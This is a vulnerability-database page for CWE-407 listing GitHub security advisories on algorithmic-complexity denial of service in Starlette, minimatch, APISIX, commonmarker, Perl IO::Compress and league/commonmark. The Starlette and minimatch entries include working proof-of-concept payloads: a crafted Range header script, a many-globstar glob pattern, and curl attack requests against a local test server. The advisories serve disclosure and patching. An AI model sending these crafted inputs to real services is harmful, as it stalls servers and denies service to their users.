CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
320 vulnerabilities reference this CWE, most recent first.
GHSA-7F5H-V6XP-FCQ8
Vulnerability from github – Published: 2025-10-28 20:38 – Updated: 2025-11-04 17:40Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.49.0"
},
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0.39.0"
},
{
"fixed": "0.49.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62727"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-28T20:38:01Z",
"nvd_published_at": "2025-10-28T21:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "GHSA-7f5h-v6xp-fcq8",
"modified": "2025-11-04T17:40:59Z",
"published": "2025-10-28T20:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``"
}
GHSA-7P87-32CX-94G2
Vulnerability from github – Published: 2026-08-27 12:30 – Updated: 2026-08-28 21:31Inefficient Algorithmic Complexity vulnerability in Apache APISIX.
A single small request can pin a gateway worker at 100% CPU for an extended period in graphql-limit-count routes.
This issue affects Apache APISIX: 3.17.0.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-75005"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T10:16:36Z",
"severity": "HIGH"
},
"details": "Inefficient Algorithmic Complexity vulnerability in Apache APISIX.\n\n A single small request can pin a gateway worker at 100% CPU for an extended period in graphql-limit-count routes.\n\n\n\n\nThis issue affects Apache APISIX: 3.17.0.\n\n\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
"id": "GHSA-7p87-32cx-94g2",
"modified": "2026-08-28T21:31:06Z",
"published": "2026-08-27T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75005"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/wfs7c9l8sokrh9hzv84lno12nx2zxpjk"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/26/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7QQF-R2PG-XHQJ
Vulnerability from github – Published: 2026-06-03 21:30 – Updated: 2026-06-05 21:31Version 3.0.7 of the Securly Chrome Extension uses deprecated SHA-1 hashing for IWF CSAM URL matching (25,020 hashes) and CIPA blocklist matching (12,352 hashes).
{
"affected": [],
"aliases": [
"CVE-2026-8889"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T19:16:39Z",
"severity": "HIGH"
},
"details": "Version 3.0.7 of the Securly Chrome Extension uses deprecated SHA-1 hashing for IWF CSAM URL matching (25,020 hashes) and CIPA blocklist matching (12,352 hashes).",
"id": "GHSA-7qqf-r2pg-xhqj",
"modified": "2026-06-05T21:31:55Z",
"published": "2026-06-03T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8889"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/595768"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7R86-CG39-JMMJ
Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---|---|---|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3):
{"result":true,"ms":"0"}
time_total: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27903"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:10:18Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n ..\n if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n ..\n return true\n }\n ..\n fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time |\n|---------------|--------------|----------|\n| 7 | 36 bytes | ~154ms |\n| 9 | 46 bytes | ~1.2s |\n| 11 | 56 bytes | ~5.4s |\n| 12 | 61 bytes | ~9.7s |\n| 13 | 66 bytes | ~15.9s |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
"id": "GHSA-7r86-cg39-jmmj",
"modified": "2026-02-26T22:10:18Z",
"published": "2026-02-26T22:10:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}
GHSA-7VH7-FW88-WJ87
Vulnerability from github – Published: 2023-08-08 17:12 – Updated: 2023-08-08 17:12Impact
Several quadratic complexity bugs in commonmarker's underlying cmark-gfm library may lead to unbounded resource exhaustion and subsequent denial of service.
The following vulnerabilities were addressed:
For more information, consult the release notes for version 0.29.0.gfm.12.
Mitigation
Users are advised to upgrade to commonmarker version 0.23.10.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "commonmarker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-08T17:12:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Impact\n\nSeveral quadratic complexity bugs in commonmarker\u0027s underlying [`cmark-gfm`](https://github.com/github/cmark-gfm) library may lead to unbounded resource exhaustion and subsequent denial of service.\n\nThe following vulnerabilities were addressed:\n\n* [CVE-2023-37463](https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5)\n\nFor more information, consult the release notes for version [`0.29.0.gfm.12`](https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.12).\n\n## Mitigation\n\nUsers are advised to upgrade to commonmarker version [`0.23.10`](https://rubygems.org/gems/commonmarker/versions/0.23.10).",
"id": "GHSA-7vh7-fw88-wj87",
"modified": "2023-08-08T17:12:00Z",
"published": "2023-08-08T17:12:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-7vh7-fw88-wj87"
},
{
"type": "WEB",
"url": "https://github.com/gjtorikian/commonmarker/commit/db8cd377b54541f7fd484d168b7682a282a680f7"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.12"
},
{
"type": "PACKAGE",
"url": "https://github.com/gjtorikian/commonmarker"
},
{
"type": "WEB",
"url": "https://rubygems.org/gems/commonmarker/versions/0.23.10"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Several quadratic complexity bugs may lead to denial of service in Commonmarker"
}
GHSA-7VXX-5GQR-7R44
Vulnerability from github – Published: 2026-05-27 06:31 – Updated: 2026-05-29 18:31IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward.
fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration.
Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.
{
"affected": [],
"aliases": [
"CVE-2026-48959"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T04:16:31Z",
"severity": "HIGH"
},
"details": "IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward.\n\nfastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration.\n\nExtracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip-\u003enew($zip, Name =\u003e $target) drives a per-byte read loop scaling with the entry\u0027s compressed size, up to the non-Zip64 4 GiB cap.",
"id": "GHSA-7vxx-5gqr-7r44",
"modified": "2026-05-29T18:31:15Z",
"published": "2026-05-27T06:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48959"
},
{
"type": "WEB",
"url": "https://github.com/pmqs/IO-Compress/commit/68db44076f4c1a86a2ffe53a958eac6cabaf72e2.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/27/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X8H-JG2X-PJM5
Vulnerability from github – Published: 2026-09-07 15:33 – Updated: 2026-09-07 15:33The league/commonmark (thephpleague/commonmark) library in versions >= 1.5.0 and < 2.9.1 contains quadratic parsing complexity in its SmartPunctExtension and AttributesExtension. When either extension is explicitly registered on the Environment (they are not enabled by default and are excluded from the standard CommonMark and GitHub-Flavored Markdown converters), an unauthenticated attacker can submit small, specially crafted Markdown documents — such as text alternating with unpaired quotes, contiguous runs of block-level attribute blocks, or repeated class attributes — to trigger disproportionate CPU consumption and cause a denial of service. Fixed in 2.9.1.
{
"affected": [],
"aliases": [
"CVE-2026-86429"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T13:20:42Z",
"severity": "HIGH"
},
"details": "The league/commonmark (thephpleague/commonmark) library in versions \u003e= 1.5.0 and \u003c 2.9.1 contains quadratic parsing complexity in its SmartPunctExtension and AttributesExtension. When either extension is explicitly registered on the Environment (they are not enabled by default and are excluded from the standard CommonMark and GitHub-Flavored Markdown converters), an unauthenticated attacker can submit small, specially crafted Markdown documents \u2014 such as text alternating with unpaired quotes, contiguous runs of block-level attribute blocks, or repeated class attributes \u2014 to trigger disproportionate CPU consumption and cause a denial of service. Fixed in 2.9.1.",
"id": "GHSA-7x8h-jg2x-pjm5",
"modified": "2026-09-07T15:33:53Z",
"published": "2026-09-07T15:33:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-jjv6-8j6v-6j52"
},
{
"type": "ADVISORY",
